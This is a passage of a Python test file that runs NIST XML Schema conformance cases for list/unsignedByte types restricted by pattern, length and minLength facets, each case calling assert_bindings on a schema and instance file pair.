\d{2} \d{3} \d{1} \d{2} \d{3} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-1-2.xml",
class_name="NistschemaSvIvListUnsignedBytePattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_nistxml_sv_iv_list_unsigned_byte_pattern_1_3(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2} \d{3} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-1-3.xml",
class_name="NistschemaSvIvListUnsignedBytePattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_nistxml_sv_iv_list_unsigned_byte_pattern_1_4(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2} \d{3} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-1-4.xml",
class_name="NistschemaSvIvListUnsignedBytePattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_nistxml_sv_iv_list_unsigned_byte_pattern_1_5(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2} \d{3} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-1-5.xml",
class_name="NistschemaSvIvListUnsignedBytePattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_4_nistxml_sv_iv_list_unsigned_byte_length_5_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-5-1.xml",
class_name="NistschemaSvIvListUnsignedByteLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_4_nistxml_sv_iv_list_unsigned_byte_length_5_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-5-2.xml",
class_name="NistschemaSvIvListUnsignedByteLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_4_nistxml_sv_iv_list_unsigned_byte_length_5_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-5-3.xml",
class_name="NistschemaSvIvListUnsignedByteLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_4_nistxml_sv_iv_list_unsigned_byte_length_5_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-5-4.xml",
class_name="NistschemaSvIvListUnsignedByteLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_4_nistxml_sv_iv_list_unsigned_byte_length_5_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-5-5.xml",
class_name="NistschemaSvIvListUnsignedByteLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_3_nistxml_sv_iv_list_unsigned_byte_length_4_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-4-1.xml",
class_name="NistschemaSvIvListUnsignedByteLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_3_nistxml_sv_iv_list_unsigned_byte_length_4_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-4-2.xml",
class_name="NistschemaSvIvListUnsignedByteLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_3_nistxml_sv_iv_list_unsigned_byte_length_4_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-4-3.xml",
class_name="NistschemaSvIvListUnsignedByteLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_3_nistxml_sv_iv_list_unsigned_byte_length_4_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-4-4.xml",
class_name="NistschemaSvIvListUnsignedByteLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_3_nistxml_sv_iv_list_unsigned_byte_length_4_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-4-5.xml",
class_name="NistschemaSvIvListUnsignedByteLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_2_nistxml_sv_iv_list_unsigned_byte_length_3_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-3-1.xml",
class_name="NistschemaSvIvListUnsignedByteLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_2_nistxml_sv_iv_list_unsigned_byte_length_3_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-3-2.xml",
class_name="NistschemaSvIvListUnsignedByteLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_2_nistxml_sv_iv_list_unsigned_byte_length_3_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-3-3.xml",
class_name="NistschemaSvIvListUnsignedByteLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_2_nistxml_sv_iv_list_unsigned_byte_length_3_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-3-4.xml",
class_name="NistschemaSvIvListUnsignedByteLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_2_nistxml_sv_iv_list_unsigned_byte_length_3_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-3-5.xml",
class_name="NistschemaSvIvListUnsignedByteLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_1_nistxml_sv_iv_list_unsigned_byte_length_2_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-2-1.xml",
class_name="NistschemaSvIvListUnsignedByteLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_1_nistxml_sv_iv_list_unsigned_byte_length_2_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-2-2.xml",
class_name="NistschemaSvIvListUnsignedByteLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_1_nistxml_sv_iv_list_unsigned_byte_length_2_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-2-3.xml",
class_name="NistschemaSvIvListUnsignedByteLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_1_nistxml_sv_iv_list_unsigned_byte_length_2_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-2-4.xml",
class_name="NistschemaSvIvListUnsignedByteLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_1_nistxml_sv_iv_list_unsigned_byte_length_2_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-2-5.xml",
class_name="NistschemaSvIvListUnsignedByteLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_nistxml_sv_iv_list_unsigned_byte_length_1_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-1-1.xml",
class_name="NistschemaSvIvListUnsignedByteLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_nistxml_sv_iv_list_unsigned_byte_length_1_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-1-2.xml",
class_name="NistschemaSvIvListUnsignedByteLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_nistxml_sv_iv_list_unsigned_byte_length_1_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-1-3.xml",
class_name="NistschemaSvIvListUnsignedByteLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_nistxml_sv_iv_list_unsigned_byte_length_1_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-1-4.xml",
class_name="NistschemaSvIvListUnsignedByteLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_length_nistxml_sv_iv_list_unsigned_byte_length_1_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-length-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-length-1-5.xml",
class_name="NistschemaSvIvListUnsignedByteLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_4_nistxml_sv_iv_list_unsigned_byte_min_length_5_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-5-1.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_4_nistxml_sv_iv_list_unsigned_byte_min_length_5_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-5-2.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_4_nistxml_sv_iv_list_unsigned_byte_min_length_5_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-5-3.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_4_nistxml_sv_iv_list_unsigned_byte_min_length_5_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-5-4.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_4_nistxml_sv_iv_list_unsigned_byte_min_length_5_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-5-5.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_3_nistxml_sv_iv_list_unsigned_byte_min_length_4_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-4-1.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_3_nistxml_sv_iv_list_unsigned_byte_min_length_4_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-4-2.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_3_nistxml_sv_iv_list_unsigned_byte_min_length_4_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-4-3.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_3_nistxml_sv_iv_list_unsigned_byte_min_length_4_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-4-4.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_3_nistxml_sv_iv_list_unsigned_byte_min_length_4_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-4-5.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_2_nistxml_sv_iv_list_unsigned_byte_min_length_3_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-3-1.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_2_nistxml_sv_iv_list_unsigned_byte_min_length_3_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-3-2.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_2_nistxml_sv_iv_list_unsigned_byte_min_length_3_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-3-3.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_2_nistxml_sv_iv_list_unsigned_byte_min_length_3_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-3-4.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_2_nistxml_sv_iv_list_unsigned_byte_min_length_3_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-3-5.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_1_nistxml_sv_iv_list_unsigned_byte_min_length_2_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-2-1.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_1_nistxml_sv_iv_list_unsigned_byte_min_length_2_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-2-2.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_1_nistxml_sv_iv_list_unsigned_byte_min_length_2_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-2-3.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_1_nistxml_sv_iv_list_unsigned_byte_min_length_2_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-2-4.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_1_nistxml_sv_iv_list_unsigned_byte_min_length_2_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-2-5.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_nistxml_sv_iv_list_unsigned_byte_min_length_1_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-1-1.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_nistxml_sv_iv_list_unsigned_byte_min_length_1_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-1-2.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_nistxml_sv_iv_list_unsigned_byte_min_length_1_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-1-3.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_nistxml_sv_iv_list_unsigned_byte_min_length_1_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-1-4.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_min_length_nistxml_sv_iv_list_unsigned_byte_min_length_1_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet minLength with value 5.
"""
assert_bindings(
